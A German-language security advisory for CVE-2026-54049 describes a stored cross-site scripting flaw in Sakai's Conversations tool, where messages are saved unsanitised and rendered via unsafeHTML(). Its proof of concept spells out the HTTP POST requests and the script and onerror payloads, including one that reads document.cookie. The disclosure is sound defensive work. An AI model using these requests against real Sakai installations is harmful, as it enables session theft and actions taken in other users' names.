CVE-2026-54049
Sakai Conversations has a Stored XSS Issue
Beschreibung
Zusammenfassung
Das Sakai Conversations Tool speichert Themen- und Beitragsnachrichten ohne HTML-Sanitierung, und die Frontend-Ansicht rendert sie mit LitElements unsafeHTML() Direktive, was zu gespeicherten Cross-Site Scripting (XSS) führt. Jeder authentifizierte Benutzer mit Zugang zu einer Website, auf der das Conversations Tool aktiviert ist, kann beliebiges HTML und JavaScript injizieren, das in den Browsern aller anderen Benutzer ausgeführt wird, die dieses Thema oder diesen Beitrag anzeigen.
Beschreibung
Der REST API Endpunkt des Conversations Tools POST /api/sites/{siteId}/topics akzeptiert ein message Feld im JSON-Anfragekörper. Die Service-Schicht (ConversationsServiceImpl) speichert die Nachricht direkt in der Datenbank (conv_topics.MESSAGE) ohne Aufruf von FormattedText.processFormattedText() oder einem äquivalenten HTML-Sanitizer.
Das gleiche Problem betrifft Beitragsantworten über POST /api/sites/{siteId}/topics/{topicId}/posts und Kommentare, die in conv_comments gespeichert sind.
Auf der Frontend-Seite rendert SakaiTopic.js, SakaiPost.js und SakaiComment.js alle das message Feld mit LitElements unsafeHTML() Direktive:
SakaiPost.jsZeilen 429, 432:${unsafeHTML(this.post.message)}SakaiTopic.jsZeile 679:${unsafeHTML(this.topic.message)}SakaiComment.jsZeile 148:${unsafeHTML(this.comment.message)}
Im Gegensatz zu anderen Sakai Tools (Ankündigungen, Aufgaben, Ressourcen), die FormattedText.processFormattedText() aufrufen, bevor sie Inhalte von Benutzern speichern, hat die Conversations-Implementierung keinen entsprechenden Schutz zur Speicherzeit oder Renderzeit.
Proof of Concept
Setup: Admin/Dozentensitzung auf einer Website mit dem Conversations Tool aktiviert (siteId BELP_275K_7418).
Schritt 1 - XSS-Payload in Thema injizieren:
POST /api/sites/BELP_275K_7418/topics HTTP/1.1
Host: localhost:9107
Cookie: SAKAIID=<authentifizierte-Sitzung>
Content-Type: application/json
{"title":"XSS Test Thema","message":"<img src=x onerror=alert(1)>","type":"FRAGE","visibility":"SITE","draft":false}
Antwort: HTTP 200, "message":"<img src=x onerror=alert(1)>" - rohes HTML gespeichert.
Schritt 2 - In der Datenbank überprüfen:
SELECT TOPIC_ID, TITLE, MESSAGE FROM conv_topics
WHERE TOPIC_ID='e4c599c2-bd32-4364-9cbd-a5c9c102edfb';
-- Ergebnis: MESSAGE = <img src=x onerror=alert(1)>
Schritt 3 - XSS-Payload in Beitragsantwort injizieren:
POST /api/sites/BELP_275K_7418/topics/e4c599c2-bd32-4364-9cbd-a5c9c102edfb/posts HTTP/1.1
Host: localhost:9107
Cookie: SAKAIID=<authentifizierte-Sitzung>
Content-Type: application/json
{"message":"<script>alert(document.cookie)</script>","siteId":"BELP_275K_7418"}
Antwort: HTTP 200, "message":"<script>alert(document.cookie)</script>" - roher Code gespeichert.
Schritt 4 - In der Datenbank überprüfen:
SELECT POST_ID, MESSAGE FROM conv_posts
WHERE POST_ID='e3cf7aed-c630-448a-89bb-27a8baacd269';
-- Ergebnis: MESSAGE = <script>alert(document.cookie)</script>
Wenn ein Mitglied der Website die Conversations-Ansicht lädt, rendert das LitElement Webkomponente die gespeicherten Nachrichten über die REST API und verwendet unsafeHTML(), wodurch die injizierten Skripte und Ereignishandler ausgeführt werden.
Auswirkungen
Ein Angreifer mit irgendeiner Mitgliedschaft auf der Website (Studentenrolle oder höher) kann:
- Aktionen im Namen von Opfern ausführen
- Gradebook-Daten und Kursinhalte exfiltrieren
- In einem Universitätskontext mit hunderten von Studenten pro Kurs kann ein einzelner bösartiger Beitrag alle eingeschriebenen Studenten gleichzeitig kompromittieren
Status / Zeitplan:
- 2026-06-02: Fix wurde in die Hauptversion eingefügt (
2696b4b48cbef2e81512f52f84f7477adff78b27) - Veröffentlichung ausstehend.
Metriken
Weakness-Klassen (CWE)
CWE-79Base
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.
cwe.mitre.org →
Betroffene Produkte
Aus der Hersteller-/CERT-Meldung extrahierte Produkte und Versionsbereiche. Ein Version-Range wie „<4.14.6“ impliziert die Update-Empfehlung „auf 4.14.6 oder höher aktualisieren“.
maven
org.sakaiproject.conversations:sakai-conversations-impl23.0
maven
org.sakaiproject.conversations:sakai-conversations-impl23.1
maven
org.sakaiproject.conversations:sakai-conversations-impl23.2
maven
org.sakaiproject.conversations:sakai-conversations-impl23.3
maven
org.sakaiproject.kernel:sakai-kernel-impl23.0
maven
org.sakaiproject.kernel:sakai-kernel-impl23.1
maven
org.sakaiproject.kernel:sakai-kernel-impl23.2
maven
org.sakaiproject.kernel:sakai-kernel-impl23.3
maven
org.sakaiproject.rubrics:rubrics-impl23.0
maven
org.sakaiproject.rubrics:rubrics-impl23.1
maven
org.sakaiproject.rubrics:rubrics-impl23.2
maven
org.sakaiproject.rubrics:rubrics-impl23.3